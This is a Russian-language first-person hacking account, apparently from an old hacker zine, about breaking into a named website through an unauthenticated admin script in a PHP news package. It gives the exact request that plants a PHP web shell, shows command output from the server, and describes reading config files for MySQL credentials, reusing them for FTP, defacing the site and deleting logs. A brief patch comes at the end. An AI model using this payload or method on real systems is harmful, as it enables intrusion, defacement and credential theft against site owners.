Зашел я однажды на сайт
e.polestudio.ru, полазил на нем, ничего интересного не нашел. Но тут я заметил что-то знакомое в линке, указывающем на архив новостей.
Точно, это же скрипт под названием "Новости", который я недавно скачал, и в нем есть одна довольно глупая уязвимость (да простят меня создатели скрипта :)).
Админская панель состоит из 2 основных файлов (config.php содержит только настройки) - index.php и script.php. index.php требует авторизацию, если это можно назвать авторизацией :).
Скрипт сравнивает пароль, переданный в параметре pass с паролем в конфиге, если пароли не совпали, то возвращает пустую страницу, если совпали - сам знаешь чего 🙂
Пройдя её, мы вводим текст новости, который передаётся файлу script.php параметром data. Самое главное - в файле script.php никакой авторизацией даже и не пахнет 🙂 Этот скрипт записывает данные, переданные в параметре data в файл, названием которого является текущая дата.
Я вот и решил открыть
http://e.polestudio.ru/mywindows/admin/script.php?data=Hello. Надпись Hello! довольно мелко отразилась в середине страницы /mywindows/index.php. Все!
Можно было довольно красиво отдефейсить. Но мне хотелось большего 🙂
И тут мне пришла идея, а что если вписать вместо текста новости <? system($cmd) ?> , тогда, при удачном раскладе, можно будет выполнять любые команды.
Пробую - /mywindows/admin/script.php?data=<? system($cmd) ?>. Затем открываю /mywindows/index.php?cmd=id;uname
-a; Команда выполнилась и в середине страницы /mywindows/index.php я увидел:
uid=1296(pole) gid=65533 groups=65533
FreeBSD v6.valuehost.ru 4.4-STABLE FreeBSD 4.4-STABLE #2: Wed Jan 15 21:44:48 MSK 2003
Права на дефейс есть. Конечно можно было бы написать index.php?cmd=echo Здесь был Вася >
../index.html, но хотелось чтобы это было красиво. Жаль, что ФриБСД.., командой wget не воспользуешься, картинку прямо так залить не получится.
Просмотр конфига новостей - /mywindows/admin/config.php мне ничего не дал, там был пароль на админку, но новость я мог добавить и сам. Никаких
httpasswd'ов я не нашел, но полазив немного по дирам (ls ../) на этом сайте, я нашел форум, глянул файл конфига
cat ../eforum/config.php; Там оказался логин и пароль от MySQL. К мою счастью этот пароль совпал с паролем от FTP. Осталось залить дефейс и удалить логи.
Патч.
Добавьте в файл index.php строку:
<input type=hidden name=pass value=<?=$pass?>> перед </form>
А в файл script.php добавьте после строки include("config.php");
if (!isset($pass)) exit;
$q=strcmp($pass,$password);